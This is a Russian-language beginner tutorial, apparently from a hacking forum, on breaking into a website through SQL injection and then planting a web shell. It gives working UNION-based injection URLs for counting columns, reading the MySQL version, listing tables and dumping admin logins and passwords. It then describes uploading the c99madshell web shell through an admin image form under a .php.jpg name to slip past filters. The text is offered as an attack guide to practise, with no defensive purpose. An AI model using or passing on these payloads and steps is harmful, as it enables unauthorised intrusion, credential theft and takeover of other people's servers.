Доброго времени суток, господа. Вот решил написать статейку по доволе таки распространенной в наше время атаке SQL-Injection и по заливке шелла (shell) на взломанный сайт. Статей таких, конечно же много, но еще одна, думаю, не помешает, что не понятно там, может быть станет хоть чуток яснее здесь.

Итак, приступим.

Допустим, имеем некий сайт target.us, уязвим на эту атаку. Прогуляемся по ссылкам, ищем линк вида target.us/lol.php?id=5 (вместо 5 там может быть любое другое число, идентификатор). Теперь в конец подставим кавычку «’», target.us/lol.php?id=5’ и жмем пимпу Enter, смотрим и если сайт таки уязвим, видим ошибку «You have an error in your SQL syntax bla bla bla» . Теперь чтобы убедится, попробуем выполнить арифметическую операцию: target.us/lol.php?id=5-1/* (/* - это знак комментария, нужен чтоб отсеять все ненужное что стоит за ним). И что мы видим? Операция выполнилась target.us/lol.php?id=4, (5-1=4) значит все ОК. Теперь начнем подбирать количество полей в БД (базе данных), можно использовать конструкцию вида union select1,2,3,4, нам будет выдавать ошибки пока не угадаем правильное число (то есть постоянно увеличиваем на 1, union select1,2,3,4, 5 ,6 и т.д.), а можно воспользоваться конструкцией order by вот так: order by12, чтоб не вписывать сразу кучу чисел (полей то может быть и 50).

target.us/lol.php?id=5+order+by+12 – Нет ошибки, значит полей или больше 12-ти или 12. target.us/lol.php?id=20 – ошибка. Значит полей меньше 20-ти. И так пока не достигнем результата. Через union select будет выглядеть так: target.us/lol.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12/* и т.д. Чтобы узнать версию MySQL, которая установлена на сервере, выполняем запрос: target.us/lol.php?id=-5+union+select+1,2,3,VERSION(),5,6,7,8,9,10,11,12/* (так же мжно узнать и пользователя через команду USER()) и в браузер прямо на странице сайта вывалит версию БД. Главное глянуть 5 или 4-я. Так как в 5-й присутствует INFORMATION_SCHEMA_TABLES, там подбирать вам будет легче.

Теперь узнаем имена имена таблиц. Если версия БД 4-я, то имена будем угадывать, составляем запрос вида target.us/lol.php?id=-5+union+select+1,2,3,admin,5,6,7,8,9,10,11,12+from+Users/* (Users возможное имя БД), если угадали имя и таблицу (Users) то получите вывод с именами в браузер, и так перебирать пока не получите результат. Если же версию «мускула» (MySQL) 5-я, то там вам будет проще, составляем запрос вида: target.us/lol.php?id=-5+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12+from+ INFORMATION_SCHEMA.TABLES/*  и так же увидим вывод имен в браузер. Допустим имя таблицы admin и нам нужна колонка с паролями (passwords) . Составим запрос: : target.us/lol.php?id=-5+union+select+1,2,3, passwords,5,6,7,8,9,10,11,12+from+admin /*.Точно так же подбирается и логин, можно сделать все красивее дав команду target.us/lol.php?id=-5+union+select+1,2,3, concat_ws(0x3a,passwords,0x3a,login),5,6,7,8,9,10,11,12+from+admin /*. Получим вывод вида логин;пароль (например, admin;qwerty) . В разных случаях может быть по-разному, посему придется немного думать. Если получаем хэш (hash) пароля – то идем брутить, если просто вывод пароля – то радуемся. Итак, логин/пароль мы получили, логинимся в систему. Ну имеем мы права админа, ну так же не интересно хочется и по серву погулять. А вот для этого скачиваем шелл, например c99madshell, наверняка он будет иметь расширение txt, поэтому меняем на php. Залить на сервер можно, например, через какую либо форму аплоада (upload), через которую админы что-либо заливают (картинки например). Но бывает так, что стоит фильтр, то есть файл php мы залить ну никак не можем. Тогда идем на хитрость, делаем так c99madshell.php.jpg Фильтр такое может пропустить, если пропустил – то все супер! Переходим в браузере сюда target.us/c99madshell.php.jpg и радуемся что шелл у нас залит, можем гулять по серву! Если сервер на ОС UNIX , то неплохо было бы знать еще и некоторые ее команды.

Это все, тренируйтесь господа новички! Желаю удачи в ваших нелегких начинаниях!

P.S. Видеоурок по взлому лежит здесь: https://www.hackzone.ru/files/get/id/56 … ection.htm